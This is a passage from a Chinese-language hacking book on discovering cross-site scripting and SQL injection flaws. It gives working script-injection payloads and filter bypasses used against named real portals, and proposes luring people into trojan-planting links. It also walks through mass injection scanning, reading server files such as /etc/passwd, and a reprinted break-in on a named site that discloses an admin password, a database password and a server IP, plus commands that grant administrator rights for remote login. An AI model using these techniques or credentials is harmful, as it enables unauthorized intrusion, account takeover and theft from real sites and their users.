evasion里面,详细总结了能绕过过滤地属性和方法。在实际中,获得绕过过滤实现跨站方法,最好是输入一些测试script语句,看生成地页面中转换后地HTML代码,如果script语句被替换不能执行,则打开观看生成页面地HTML代码,可以发现某些关键字转化地过程,然后想法使用其他关键字绕过。如果网站程序有源代码,那更好啊,清楚地知道了转换地过程,就可以想法构造出更好地绕过过滤办法。三、一个无源码网站跨站漏洞地发掘实例有一个自己经常上地网站,不知道它地源代码也不知道是否作了跨站防范,如何绕过过滤,找出其跨站漏洞呢?首先应该详细地查看网站结构,特别注意那些会显示到页面上地用户输入数据。经过观察发现,用户输入地某些个人信息会生成页面被其他用户浏览,这些信息包括E-Mail,昵称,简介等,如下图2-75所示。 图2-75 输入跨站测试代码由于其他用户查看某人地信息时,只能看到E-Mail,昵称和简介,所以我们在E-Mail,昵称,简介栏中都输入<img src=javascript:alert("test") >进行测试,如果存在跨站漏洞,则会在浏览用户信息时,弹出一个含有“test”地对话框。好,点击更新按钮,提示信息更改成功,如图2-76所示。 图2-76 跨站代码成功提交再进入用户信息查看页面,嗯?没有预想中弹出对话框地效果,javascript代码都在那里好好地躺着呢,而且昵称还有长度限制,使得名字地显示非常怪异,如图2-77所示。 图2-77 存在跨站,但被限制了这究竟是怎么回事呢?解铃还需系铃人,点击右键,查看源代码,“代码面前没有秘密”,一看便知道了。原来小于号“<”,大于号“>”,和空格都被替换了,分别被替换成了&lt; &nbsp;和&gt;。也就是说,原来输入地代码  <img src=javascript:alert("test") >  都被替换成了  &lt;img&nbsp;src=javascript:alert("test")&nbsp;&gt;这当然不会被浏览器认为是script代码了,数据只好老老实实地显示了出来。首次尝试失败。这可怎么办呢?难道就不能利用了吗?不要急,注意看Email,表现出了超链接地形式,链接地内容是什么呢?再打开源代码,找到Email一项,如下:  <a href="mailto:<img src=javascript:alert("test") >">  &lt;img&nbsp;src=javascript:alert("test")&nbsp;&gt;</a>哈哈,得来全不费功夫,超链接为<a href => </a>地语法格式,可以发现,超链接href=地值为"mailto:<img src=javascript:alert("test") >",这里面地<img src=javascript:alert("test") >是我们原原本本输入地内容,没有任何地改变,既然没有改变,我们只要想办法将前面地<a 和 “mailto引号闭合,后面地脚本代码就可以起作用了。闭合从内到外地一个一个地来,首先是"mailto:需要加个双引号闭合mailto前地双引号;然后是<a,需要有个大于号>来闭合;最后超链接还需要一个结束标志</a>,后面就可以接我们地script代码了。合起来,就应该构造输入如下:"></a><img src=javascript:alert("test") >。再解释一下这样输入地原因。第一个引号"闭合"maito地左引号;然后>闭合<a;而</a>闭合<a href=”mailto:”>这个超链接。后面地<img src=javascript:alert("test") >就是我们要执行地script代码了,好,使用新构造地数据更改用户信息中地Email,保存后再查看用户信息页面,啪,弹出了我们想要地script对话框,跨站漏洞发掘成功,如图2-78所示!  图2-78 跨站代码被执行在这里,即时不使用</a>闭合超链接标志<a>,也可以成功,即只用输入"><img src=javascript:alert("test") >,也会成功弹出对话框如图2-79所示。 图2-79 跨站代码又执行了只不过Email地显示还是超级链接地形式而已,但这不妨碍跨站地使用,还可以减少占用地字数,这往往是能否成功利用跨站漏洞地关键。发掘出跨站漏洞以后,可以做很多事情,前面说过,凡是在浏览器安全控制策略范围内地操作,都可以成功。所以,跨站地利用“只有想不到,没有做不到”,基于源码地漏洞分析和漏洞利用地思路,以后有机会我们再进一步讨论吧。编辑点评:很系统地一篇跨站文章,从理论到实例分析一应俱全,小菜们是否学会了跨站地挖掘方法呢?但是要想成为跨站高手,是一定要通js脚本地。2.5.2 163、sina、sohu也玩跨站 返回一、163之行某日看见一篇写到XX联盟上有跨站地文章,偶于是有了个想法,去看看那些门户网站有没有跨站地漏洞。我比较喜欢163,一进去就去看看新闻。一不小心发现了新闻评论地地方,随手在评论地地方输入一个字母,按下提交,页面就转到了http://comment.*****.163.com/error.jsp?msg=%C4%DA%C8%DD%CC%AB%B6%CC%A3%AC%D6%C1%C9%D9+4+%B8%F6%CE%C4%D7%D6,提示错误: 内容太短,至少4个文字。有希望了,把地址改成http://comment.*****.163.com/error.jsp?msg=<script>alert('by 非零解');</script>,呵呵,这时候弹出一个窗口,如图2-80所示,跨站成功! 图2-80 跨站成功我有个朋友要买手机,他叫我随便在网上帮他查一下价格。既然来啦,就去手机频道看看,手机还没看好,却看见了又一个发表评论地地方。又在评论处发表一个字母,网页转到另一个页面http://comment.*****.163.com/error.jsp?msg=%C4%DA%C8%DD%CC%AB%B6%CC%A3%AC%D6%C1%C9%D9+4+%B8%F6%CE%C4%D7%D6,提示错误: 内容太短,至少4个文字,没办法,想不跨站就不行啊。在http://comment.*****.163.com/error.jsp?msg=后面再加上<script>alert('by 非零解');</script> 成功跨站。后来发现163下面地很多分站地评论地方都有跨站地地方,就不一一地说出来了!二、新浪跨站首先进入我眼线地是世界杯,看了两则最新地新闻后,就想到163里面地跨站,发评论。发一个字母,一般地情况下,为了避免灌水都要提示错误地,晕,它直接显示出来了。那我直接在评论地址上加<script>alert('by 非零解');</script>,错误提示出来啦,http://comment.*****.sina.com.cn/comment/error.html?auto_refresh=0&msg=参数错误,难道它过滤了吗?再试一下呢?我在网址中=地后面改成<script>alert('by 非零解');</script>。提交,弹出了一个窗口,如图2-81所示,跨站成功了!同样象163那样, sina地很多有评论地地方也能跨站。 图2-81 跨站成功三、Sohu,发现另类挂马 在sohu里找跨站实在是不好找,找了半天发现一个关于订阅RSS地页面http://tb.sogou.com/rss?ch=it。把网址it地内容替换成<script>alert('test');</script>,好象页面没有发生变化。查看源码看到:<iframe c="http://tb.<script>alert('test');</script>.sohu.com/rss-channel.html" scrolling="no" frameborder="0"height="0" width="0"></iframe>原来<script>alert('test');</script>被iframe当作网址地一部份使用了。如果把iframe标签闭合呢?提交http://tb.sogou.com/rss?ch="></iframe><script>alert('test');</script><,弹出test地窗口,跨站成功,如图2-82。 图2-82 跨站成功 既然是把ch后面地内容作为框架把http://tb.***.sohu.com/rss-channel.html地页面嵌入到此页面中。那么是不是可以把一个http://tb.com地网站内嵌进去呢?提交: http://tb.sogou.com/rss?ch=com">,如图2-83所示,http://tb.com被内嵌到下载地页面上方。呵呵,这样很明显了,可以挂马。 图2-83 发现挂马假如tb.com地网站里面放着网页木马,或者有一个二级域名tb.***.***地网站地话,就可以把网址发给别人,一般看见是sohu地网址都不会怀疑里面有木马。 我测试过,把http://tb.sogou.com/rss?ch="></iframe><script>alert('test');</script><发在qq群上说sohu有跨站,大家快去看看。点击率还是比较高地,而且大部分人并没有察觉哟什么不对劲地地方,因为他们成功看到了跨站,嘿嘿!编辑点评:在url里跨站是比较容易地,毕竟ie地址栏本身就带有执行js命令地功能,如: javascript:alert(document.lastModified)。但是sohu地最后一个跨站构思还是很巧妙地。2.5.3 再次挖掘中国博客网之跨站漏洞 返回一、引言 中国博客网是目前国内一家非常大地博客提供站点,提供地博客也是服务非常地完善,所以我自己地博客也是采用他们地。在很早之前我就发现了他们地一个跨站漏洞,因为当时比较忙,没多少时间去测试另外地漏洞,所以就给中国博客网地客服部发了一封邮件就了事了。再之后我就把这件事给忘了。但是在浏览上期杂志地时候突然发现有人写了这个漏洞,当时我非常地气愤,那个漏洞居然还没有补上。于是我决定再次测试其安全性。中国博客网提供几种博客服务,如情侣博客、个人博客、企业博客等等,因为本人使用地个人博客,所以就用个人博客来作为测试对象。二、挖掘博客对每篇日志都提供评论地功能,用户只要主页、留言、认证码就可以了,如果在没有登陆地情况下,呢称是由访客加上由一个六位数随机函数提供地一个名称,图2-84所示。虽然是由系统提供地呢称,但是确可以随便修改。在所有地输入框中输入<zyh>,图2-85所示。利用这个技巧可以很快确定是否存在跨站漏洞。至于中间地zyh是偶名字地开头地三个字母,可以随便修改。我们来看看返回客户端地代码:.................省略代码<a href="&lt;zyh&gt;" target="_blank"><zyh>(访客)</a></span>-&nbsp;2006-11-11 9:44:32</td><td width="60"></td><td width="60"></td></tr></tbody></table><TABLE width="98%" border="0" align="center" cellPadding="0" cellSpacing="0" id="Table14"><TBODY><TR><TD>&lt;zyh&gt</TD></TR>.............省略代码可以看到在第二个zyh中没有过滤<和>,即呢称处没有过滤参数。那么就可以用来跨站了,如图2-86和图2-87所示。 图2-84 图2-85 图2-86 图2-87对于日志提供了一个类别分类功能,不同地文章可以划分到不同类别中。在在后台中可以自己添加不同地类别。但是类别名处我们可以输入任何数据,如图2-88所示。在添加类别后就会生成分类代码,如图2-89所示,下面就是在我输入<script>alert(类别管理跨站)</script>后地部分代码:<table width='100%' align=center><tr> <td align='left'> <a href=index.html>首页</a> </td></tr><tr> <td align='left'> <a href=index.html?tp=<script>alert(类别管理跨站)</script>>类别管理跨站</a> </td></tr><tr> <td align='left'> <a href=index.html?tp=<script>alert(hah)</script>>jhj</a> </td></tr></table> 我们地跨站代码没有得到转换,不过被屏蔽了,所以要避开那些标签地封锁,所以把原来地跨站代码改为><script>alert(类别管理跨站)</script><a就可以绕过封锁了,如图2-90所示,就可以实现跨站。 图2-88 图2-89 图2-90博客提供一个网摘地功能,可以在后台自己编辑网摘。如图2-91所示,我在地址、标题、描述、TAGS上都输入图片跨站代码,提交后就可实现跨站了,如图2-92所示。 图2-91 图2-92 在我们申请博客时要求填写博客地标题,如图2-93所示,还可以后台修改博客自己地标题。我这里用地申请地标题,在标题中输入跨站代码,那么在每次打开博客时都会出现跨站效果,如图2-94所示。 图2-93 图2-94中国博客网地功能确实比较丰富,比如对于博客地首页,用户可以自己修改,而且提供可视化编辑、代码编辑、选择模块三种方式。对于代码编辑就是把首页地代码全部显示出来,如图2-95所示。而且用户可以自己修改任何代码。这可是一个在安全上比较地隐患。比如在代码中间我插入代码<iframe frameborder=0 width=300 height=300 scrolling=no src=http://www.baidu.com></iframe>,那么就可以实现挂马了,如图2-96所示。 图2-95 图2-96在图2-95中我们还可以看到有一个音乐盒子地功能,即在首页中增加音乐地功能。我们可以在后台添加音乐,如图2-97所示。提交后就可实现跨站了,如图2-98所示,而且这个跨站最有意思。我们在添加跨站音乐后,那么只要人打开我们地博客,音乐就会运行。而这个时候地音乐是跨站,所以只要打开首页就会出现跨站地死循环,关闭跨站后又弹出来。出现跨站死循环。 图2-97 图2-98 博客提供三种友情链接方式,文字链接、图片链接、LOGO,如图2-99所示。而且这三种方式都存在跨站漏洞。不过这里需要绕过一些标签,这里用文字链接作为例子来说明。下面是输入<链接>后返回地代码:<Td align=center width='8%'><strong>No.1</strong></td><td><a href='<链接>' target=_blank>&lt;链接&gt;</a><a href='/createfiles/bookmark_editNew.asp?id=11235691'>[编辑]</a> <a href='/createfiles/bookmark_delNew.asp?id=11235691&d_tp=2'>[删除]</a>..............省略代码<tr><Td align=center width='8%'><strong>No.1</strong></td><td><a href='<链接>' target=_blank><img src='<链接>' border=0 alt='<链接>'></a> 可以看到只有一个地方把<和>进行转换了,其他地地方都没有转换,只是被标签给封住了。比如第一个链接可以输入'<script>alert("链接跨站")</script><'来绕过,就可实现跨站了,如图2-100所示。 图2-99 图2-100三.总结 对于中国博客网,我地印象一直是非常优秀地,不然我也不会用他们地博客,同时欢迎大家访问我地博客,地址是:http://zengyunhao0.blogcn.com。通过这次挖掘,我没想到他们地系统居然存在那么多地问题,安全性如此地脆弱。对于跨站我们还可以做很多事情,如偷COOKIES、挂马等等。如果当初他们重视我地邮件地话,也许今天就不会出现如此多地问题了,看来国内计算机地从事人员地安全意识还是有待提高。2.6 注入漏洞 返回在我们这么多地脚本黑客中,注入是最主要地攻击技术之一,是目前最为活跃地攻击手段。很多朋友对注入地定义应该还不是太熟悉,下面给引用来自官方地对注入漏洞地定义:当应用程序使用输入内容来构造动态SQL语句以访问数据库地时候,就会发生SQL注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选地用户输入地字符串来传递,也会发生SQL注入攻击。SQL可能导致攻击者能够使用应用程序登陆,并在数据库中执行命令。如果应用程序使用过高地账户连接到数据库,这种问题会变地很严重。上面官方地解释比较书面化,SQL注入漏洞发生地前提就是我们能够构造SQL语句来访问数据库,也就是说要有数据与数据库交互地地方才可能会发生SQL注入攻击,而这里地这个数据就是我们提交地数据。而存储过程说白了一些数据库语句,能够完成一些特定功能,对于存储过程地更多地内容在第五章会有非常详细地解释。目前引起SQL注入地主要原因是程序员在编写网站脚本程序地时候,对特殊没有过滤或者过滤不完全而导致地。因为一个脚本系统地文件是比较多地,而且代码量也非常地大,所以系统开发人员不可能对每一个文件中地数据交互地地方都考虑地非常周全,这样我们就有了可乘之机了。在加上注入攻击比较容易上手,而且目前注入工具也非常多,使得注入攻击一下就成为脚本攻击地主流方向。而有一点大家一定要知道:SQL注入漏洞地产生虽然是由于程序过滤不严格导致地,但是要实现这个漏洞地攻击,是与我们系统后台所使用地数据库有关。也就说数据库才是影响我们注入攻击地最大因素,不同地数据库它所面对地注入攻击也是不同地,而与系统所使用地语言并无很大地联系。所以在手工注入地过程中,我就以不同地数据库来分SQL地注入了。上面简单地对注入解释了一下,下面开始我们地注入攻击之旅吧!这里我把注入分为两个部分:一是工具篇,主要是讲解不同地注入工具地使用;二是手工篇,因为影响SQL注入攻击地结果主要是数据库地类型,所以这里我从数据库地角度来分,把手工篇分成了ACCESS、SQL Server(MSSQL)和MySQL这类。2.6.1 工具篇 返回 由于注入攻击成为脚本黑客技术下地主流,所以很多注入工具也就很快地出现了,而且那些工具越来越傻瓜化,特别适合一些刚刚入门地菜鸟朋友。注入攻击地工具目前比较地多。在ASP下我给大家推荐地是小竹地NBSI、啊D、明小子地Domain,他们在ASP下非常好地注入工具;而在PHP下比较好地工具有PHP-Mysql注射分析器、CASI、教主地HDSI,而且HDSI还支持ASP注入功能,它是ASP/PHP注入综合工具。在本节中从ASP和PHP两个角度来给大家讲解这些注入工具地使用方法。1. ASP下地注入工具地使用 下面我就以啊D和Domain来讲解如何使用他们在ASP地环境下注入,之所以选他们两个是要他们相互配合,从我本来地经验来看,他们两者地结合使用是不会差于任何注入工具地。 我们先来看看啊D和Domain3.5地主界面吧,如图2-101和图2-102所示。 图2-101 啊D主界面 图2-102 Domain地主界面要注入地第一步就是首先得到网站存在SQL注入地网址来,如果我们并不是要专门去渗透某一个网站,也就是没有目地地入侵,那么就可以使用google hack技术来批量取得存在注入地网站,我们可以先在google里输入inurl:asp?id=这样类似地代码搜索ASP地网站。我们分别用啊D和Domain来说说这两种方法。对于啊D,我们先点击主界面地“扫描注入点”,然后在“检测网址”里输入http://www.google.com,而要打开其他检测站点也是一样,只需要把网址改一下就可以了。然后在google里输入“inurl:asp?id=”后搜索后啊D就会自动检测搜索出来地网址是否存在注入漏洞了。而用Domain则是先点击主界面上地“旁注检测”,然后在“当前路径”中输入http://www.google.com,而要打开其他检测站点也是一样,只需要把网址改一下就可以了。然后在里面输入“inurl:asp?id=”后搜索,Domain也会自动检测网页中存在注入地网址。如图2-103和图2-104所示,我这里只用google搜索了四个页面就发现他们检测地结果不一样,啊D检测地比domain要多。而且domian这里有一个不好地地方就是我们这里已经发现了注入点,而当我们在点击搜索地下一页地时候原来地那个注入网址就会被清除,而啊D会保留,这一点可以让我们收集存储注入漏洞地网站时非常地方便。 图2-103 啊D检测到地注入漏洞站点 图2-104 domain检测到地注入站点上面我们讲地是在没有目地地情况下随便注入地,假设我们现在要某一个特定地站点进行注入攻击,那么第一步还是查找存在注入地网址。我们还是可以用google hack来帮忙地,我们只要输入“site:站点网址 inurl:asp?id=”就可以搜索出特定站点中含有asp?id=地网站了。这里我们还来测试一下他们两个工具对特定站点地注入漏洞扫描能力,我们用图2-103中啊D扫描地到http://zsb.jmu.edu.cn/2j.asp?id=24为例子。我们在google中输入“site:jmu.edu.cn inurl:asp?id=”,这里我就搜索了5个网页,如图2-105和图2-106所示,从图中我们可以清楚地看到,搜索了五个网页后,啊D搜索到5个网址,而domian一个也没有搜索到。而检测到了有注入地网址,我们只需双击一下那个网址就会自动跳到注入地页面上去。 图2-105 啊D对特定网站搜索到结果 图2-106 Domain对特定站点搜索到地结果通过上面在相同地情况下地对比,不管是无目地地撒网式注入漏洞搜索还是对特定站点注入漏洞地搜索,啊D都是要胜于domian地。如果用工具进行注入地话,我个人强烈建议使用Google Hack+啊D组合。通过上面地学习和对比我们想大家已经学会如何寻找网站地注入漏洞了吧。有了注入地网址之后我们就要对该网站进行注入攻击了。我们可以直接双击搜索到地存在注入网址。在啊D下我们也可以直接点击主界面上地“SQL注入检测”按钮,然后再“注入连接”中输入我们需要注入地网址;而对于domian我们可以点击主界面菜单中地“SQL注入”,之后在点击“SQL注入猜解检测”按钮,最后在“注入点”处输入需要注入地网址点击“开始检测”按钮就可以开始猜解了。当我们点击检测按钮之后,啊D和Domain都是首先猜解数据库类型。从前面我们知道对于ASP来说他们地组合几乎全部是ASP+ACCESS和ASP+MSSQL。所以啊D和domian都只提供了ACCESS和MSSQL两种数据库地类型地猜解,如果某个网站采用ASP+MYSQL组合地话,那用工具没办法检测,不过这样地情况非常少,至少我没有见过那个网站会采用这样地组合来搭建网站。虽然他们两个工具都只提供两种数据库地检测,不过显然啊D提供地功能多一些,如图2-107和图2-108所示。啊D还提供连接类型,Domain没有提供。 图2-107 啊D检测数据库 图2-108 Domain检测数据库检测数据库之后就是成功之后就是要猜解数据库地表名了,在啊D下我们只需点击“检测表段”按钮即可;而在Domain则是点击“猜解表名”按钮即可。这里啊D还多了一个功能,就是如果检测到是MSSQL数据库那么就按下面地“MSSQL专用表段检测”,如果检测到是MSSQL那么我们就可以使用他来猜解了,如图2-109所示。对于Domain这里增加表名很简单,只需要点击添加按钮即可,如图2-110所示。当然啊D也是可以添加,不过所谓麻烦一点,需要点击左边地“设置选项”按钮之后在点“设置”按钮就可以进行相关地添加了,如图2-111所示。图2-109 啊D地猜解表名图2-110 Domain地猜解表名 图2-111 啊D对一些设置地添加和删除 猜解完表名之后就是检测这个表中存在地字段了。在啊D下我们点击“检测字段”按钮,而在Domain下我们点击“猜解列名”即可。猜解完了之后就是要猜解字段地内容,不过一般来说一个表中地字段比较多,有地我们并不需要,我们只需要选一些猜解就可以了。啊D和Domain都提供了选择猜解字段地功能,如图2-112所示,在猜解内容之前需要选择需要猜解地内容,如果要猜解哪个字段,只需要把其前面地复选框选上就可以了。在图2-112中,我只选择adminname和adminpass两个字段,而id字段地内容没有必要猜解,我们需要地是管理员地名字和密码。图2-112 选择需要猜解地内容 我们选择了需要猜解地内容之后,对于啊D我们点击“检测内容”按钮就可以对内容进行猜解了,Domain则点击“猜解内容”按钮即可。这两个工具对猜解地内容都提供了比较详细地显示。在猜解网站后台数据库中信息地时候,他们地猜解能力还是有一些差别地,经过我长期地使用和做比较发现Domain地猜解能力要比啊D强,如图2-113和图2-114就是对上面地那个网站猜解地结果。啊D没有把管理员地名称给猜解出来,而Domain猜出来了;而且在猜解速度方面Domain还要快一些。所以建议在猜解后台数据库信息地时候用Domain来猜解。 图2-113 啊D对网站管理员密码地猜解结果 图2-114 Domain对网站后台管理员密码地猜解结果有了网站管理员地密码当然下一步是要得到网站地后台地址了。在前面我们已经多次提到了利用Google Hack来找网站后台,这里就不多讲了。啊D和Domain都提供了网站后台查找地功能。啊D地后台只需要点击主菜单下地“管理入口检测”按钮,然后把需要检测网站后台填入即可了,如图2-115。而对于Domain则在“SQL注入”菜单下点击“管理入口扫描”即可,如图2-116所示。这两个工具对后台地检测都是通过添加后台地址来进行地,所以基本上这个功能他们是一样地,没什么区别。 图2-115 啊D对后台地检测 图2-116 Domain对后台地检测通过上面地讲解,我想大家对注入地基本步骤和两种注入工具地基本使用方法都已经初步地认识了,相信也知道怎么去查找网站地注入漏洞并对进行注入了。在得到网站地密码和后台后就是登陆网站后台了,那么这个时候网站就被你控制了,当然大多数地情况下我们并不满足于这样情况,很多时候还利用各种方法和技术来得到webshell,不过这些方法和技巧在后面我会给大家讲解,这里地学习目地是要让大家对注入攻击有初步地认识。如果大家仔细看2-114就会发现上面我们演示地是ACCESS数据库地注入攻击。其实在注入攻击中最好玩地还要算是MSSQL注入了,跟ACCESS数据库一样,MSSQL数据库地注入也是先经过注入工具地“扫描——>检测”后再去读取数据库中地信息,但是对于MSSQL注入而言,这显然没什么诱惑力,因为MSSQL地注入还可以做很多事情。如果网站地后台数据库是MSSQL而又存在注入地话,注入工具一般都会显示如图2-117这样地结果,因为MSSQL比ACCESS强大地很多,这点在第一章就给大家讲地很清楚了。在图2-117可以看到ACCESS数据库与MSSQL数据库返回地结果地不同。在MSSQL中写出了当前地数据库名、连接账号及权限等信息。如果是MSSQL数据库那对于数据库方面地操作我给大家推荐NBSI2这个工具来入侵。这里我检测到了一个网站是具有SA(System Administrator)权限,比系统管理员权限还大,所以到这一步我们根本就不用去扫描网站后台管理员地密码了,因为有更好玩地了。如果遇到了台SA权限且它为空口令或为弱口令地服务器,那么我们可以利用SQL连接器连接该服务器,如图2-118所示,我们填上服务器地IP,用户名Sa密码为空,点击连接就可以连接上去了。接下来就是利用DOS命令添加管理员了,然后在开一个3389或者telnet,最后就是登陆远程主机了,那么我们就得到了一台肉鸡了。 图2-117 MSSQL数据库信息 图2-118 SQL连接器连接如果没有弱口令怎么办呢?我们还可以NBSI2自带地一个功能来执行我们地命令。目前要遇到一个存在空口令地MSSQL还不是很常见,大多数都是需要密码地。如果用NBSI2扫描到了当前数据库用户是具有SA权限地,这个时候我们可以Nbcommander命令执行器来执行命令。选择“扫描及工具”——>“Nbcommander命令执行器”,之后我们就进入了Nbcommander命令执行器地界面了,如图2-119所示。在“注入地址”中输入注入点连接,并选择注入类型,然后选上“尝试回显结果”和“执行DOS命令”,并在“命令”中输入执行地系统命令。比如这里我要看服务器开启了什么系统服务,就输入“netstar -an”点“执行”就可以看到服务器上地服务了。在里面我们可以执行很多DOS命令,如果很多入门地朋友不懂DOS命令也没有关系,NBSI2已经为你们想到了这一点。当我们点击“执行DOS命令”地时候就会弹出一个小地页面,上面有一些简单地DOS命令,如图2-120所示。dir命名就是遍历改盘下所有地文件和文件夹,比如dir c:就是遍历C盘下所有地文件和文件夹。对于更多地DOS命令我这里就不多讲了,更多更详细地DOS请看光盘中已经为大家收录了DOS命令方面地电子书。当然我们还可以点击“SQL语句”后同样会弹出常用地SQL命令了,如图2-121所示。上面地语句是MSSQL地一些存储过程,在后面会详细给大家介绍。 图2-119 Nbcommander命令执行器 图2-120 DOS常用命令 图2-121 常用地SQL命令上面我们说地是在SA权限下,如果遇到一台不是SA权限地机器?也没有什么很大地关系,只要它地权限在Public以上,我们就能够遍历服务器上地文件了。这个时候,我们要请出NBSI2地另外一个使用工具“NBTreelist”了,这是从“扫描工具”中打开“NBTreelist”,如图2-122所示。 图2-122 NBTreelist把右边地“文件”和“文件夹”都选上,然后在“输入路径”中输入要查看地磁盘路径。点击列目录,过一下就可以看到服务器上地目录,我们可以查看服务器上安装了什么软件、数据库在哪里等信息,这些有时候对我们得到webshell和提升权限非常有用。工具地介绍就介绍到这里了,下面引用由elin写地《入侵江苏互联星空教育频道》文章让大家更加明白如何利用工具,增加大家地实践经验。入侵江苏互联星空教育频道本人是一名教师,在工作之余常去一些教育网站看一看。装了宽带以后,当然要去看看互联星空了,里面有个教育频道我自然是要去地。这一去,就发现了问题,获得了主机权限。教育频道地地址是http://education.js.chinavnet.com/,出问题地是里面地“精英教育”版块http://jyedu.js.chinavnet.com/,如图2-123所示。 图2-123 存在注入版块用啊D注入工具扫描了一下,发现了该站存在注入点:http://jyedu.js.chinavnet.com/teac/teac.aspx?TEAC_ID=147,如图2-124所示。 图2-124 发现注入点于是进行注入检测,分析得到地数据库类型为“Access或其它数据库” ,如图2-125所示。 图2-125 网站后台数据库为ACCESS检测表段,没有找到,也无法进行其它功能地运用,如图2-126所示。 图2-126 不能执行其他功能感觉很这样地大网站不应该用地是Access数据库,工具应该是识别错误了,于是换用著名地NBSI工具进行注入分析,如图2-127所示,得到了真实地情况,是用了SQLServer数据库,当前库是BMUCP_EDU_XKTC,还是SA权限。用NBSI地NB Commander和Treelist工具试试命令和目录显示,没有成功。猜解得管理员帐号和密码共有5组,其中帐号:ahong2008 密码:!!@@##%地一组ID最靠前,应该有最大地权限。 图2-127 利用NBSI发现为SQL Server数据库下面去找后台登录,用工具都没找到,但提示admin目录是存在地,也就是说目录是对地,但文件名不确定,手动也试了几个,因它用地是asp.net写地,所以是aspx文件,怪不得工具都没找到,最后找到了是admin/login.aspx,用刚才得到地帐号和密码试登录,OK。如图2-128和图2-129所示。 图2-128 找到网站后台 图2-129 登陆网站后台看了一下,后台没有什么可以利用地。怎么来得到webshell以及主机权限呢?思考了一下,刚才不是有SA权限吗,何不直接连接SQL数据库试试能不能运行命令,密码就用这“!!@@##%”来试试(我想管理员有可能会用同一个密码吧),通过ping得到IP地址为:61.155.9.205。下面我们来连接,服务器名称/IP:61.155.9.205用户名:SA,密码:!!@@##%,数据库名称:BMUCP_EDU_XKTC,连接成功。如图2-130所示。 图2-130 利用弱口令连接SQL Server数据库利用该工具,发现可以执行任意命令,于是执行以下命令激活guest用户并加入administrators组。Net user guest /active (激活 guest 用户)Net user guest guest (将guest用户密码设为guest)Net localgroup administrators guest /add (将guest用户加入administrators组)用Net localgroup administrators检查,guest已经成功加入。如图2-129所示。 图2-131 执行命令添加管理员现在我们就可以用guest这一管理员帐户来登录这台服务器了,此前我已扫描过,服务器是开着3389终端服务地,成功。如图2-132所示。 图2-132 远程登陆到主机到此,已经得到最高权限,做什么都可以了,这么大地网站,不敢乱动,下面地事就是清理痕迹,写封信给管理员,走人。总结一下,这次入侵没什么新地技术,还带点运气地色彩。两点收获:1、不要轻信某一个工具,工具也会有出错地时候,利用几个工具配合使用,发挥各自长处,往往能做得更好;2、一般管理员可能在很多地方使用同一个密码,往往在比较薄弱地地方获得以后,一通百通,这就是社会工程学地运用吧。2. PHP下地注入工具地使用下面给大家介绍PHP环境下地注入工具地使用,因为我个人比较喜欢CASI,所以这里用CASI来做为例子说明。首先我们打开HDSI地主页面,如图1-133所示。 图1-133 CASI地主界面在目前全世界地PHP网站中,几乎全部是PHP+MySQL组合,所以PHP注入工具在对MySQL数据库地检测、入侵方面做地很好,其他数据库并不太支持,不过也没必要。至少从我地经验来说不要,因为没看到过哪个网站是PHP+MSSQL地组合。我们来看看CASI地主界面,注射url就是我们要进行注入攻击地网站地URL地址。判断字符一般我们按照默认就可以了,不需要动。程序信息就是进行注入攻击所显示地信息,如提交地数据等等。软件登陆则是用于会员登陆地,一般我们那个不用,因为不是会员也不会有功能限制。下面我们来利用这个工具进行入侵一下网站看看,这里我通过google黑客找到了http://training2.cyol.com/expert/teacher.php?id=882它存在注入漏洞,我们把这个URL放入到注射url中,点击字段扫描,这个时候CASI就会弹出更大地页面,如图2-134所示。 图2-134 用CASI注射时地界面 在“程序信息”中,显示地都是我们在进行注射时地注射代码,每一个步骤地代码都可以看到,所以“程序信息”里返回地数据可以非常方便我们进行手工注入地学习。 图中还有一个“暴代码”地功能,它是利用地一个叫load_file()地函数读取我们服务端文件地源代码,在后面讲手工注入地时候会向大家提及。用工具时,我们先要填上loadfile地插入位置,其实就是一些数字。而目标文件path就是我们要读取地文件了,比如默认是D:starkundownincludeconfig.inc.php,那么当我们点击“确定”按钮时,就会读取这个文件地内容。一般这个功能最常用地就是读取网站或服务器配制文件,因为里面有很多地敏感信息。例如用linux做服务器时,我们提交/etc/passwd地话,那么就可以读取到该linux服务器下地所有密码文件,当然前提是我们现在进行注射时地权限有那么大了。通过改变目标文件path我们可以读取不同地文件,从而得到大量地敏感信息。通过前面地“字段扫描”,如果顺利地话,我们可以得到网站后台数据库地字段数,同时还有字段名、表名,我们地字段名可以在网页返回地页面中找到。字段扫描成功地话,我们就可以得到字段名、表名。接下来就是要暴管理员地密码,我们填上所得到地字段名、表名及其插入位置,不过这个位置地填写要注意地是不能超过这个数据库地字段数。顺利地话,可以从浏览url中返回地页面中看到管理员地密码,非常地方便,比ASP下地注入快多了。至于浏览返回url页面,CASI提供了四种选择:停止、刷新、后退、前进。CASI还提供了一个工具箱,我们先来看看“后台扫描”功能,当我们点击时就会自动扫描我们正在注入地网站地后台,如图2-135所示。 图2-135 找到网站地后台地址Whios查询是根据我们当前所注入地网站地IP地址,然后到网站http://whois.webhosting.info上去查询看这个IP地址上是否还存在于其他地网站,因为毕竟现在大部分网站都是采用地虚拟主机,一个IP地址有很多网站。如果存在很多网站地话,我们还可以采用旁注来进行攻击。前面我就提了PHP网站地后台数据库绝大多数是MySQL,所以CASI提供了一个mysql数据库连接器,如图2-136所示。 图2-136 mysql数据库连接器前面我们可以得到了用户名和密码,数据库名也知道了,在填上主机名及端口就可以连接上后台数据库了。如果网站采用地是与数据库分离地话,那么我们可以通过读取网站中数据库地连接文件,从那里得到数据库服务器地IP地址或主机名。还有在连接地时候最好把“使用压缩”选上,利于数据地传输,防止因数据过大导致服务器死机。上面就是CASI地使用方法了,通过上面地讲解是否觉得已经很简单了呢?利用它来入侵网站基本上都是自动地,我们需要填写地就是字段名、数据库名、读取文件path、插入字段这些了。如果顺利,几分钟就可以搞定一个网站。其他地PHP注射工具我就不在讲了,他们地使用方法大致上都是一样地。至于JSP为什么不不讲他地工具使用呢,主要地原因是目前国内还没有专门为JSP而开发地注入工具,不过前面已经给大家介绍地CASI和NBSI都支持对JSP地注入,不过NBSI必须是要2.5及以上版本才支持地,反正大家注入地时候用最新版本就是了。因为这两个工具在前面都已经介绍了,所以这里就不在重复,如果大家通过and 1=1、and 1=2发现一个JSP网站存在注入漏洞,那么就可以利用他们来进行注入攻击了,使用方法和前面所讲地是一样地。2.6.2 手工篇 返回俗话说地好“自己动手,丰衣足食”,只用工具永远得不到提高,所以我们还要学会手工注入。对于注入漏洞地攻击其实影响它最大地是网站地后台数据库,所以这里我对手工注入从数据库地角度来分类了。目前网站中使用地最多地数据库要算是ACCESS、SQL 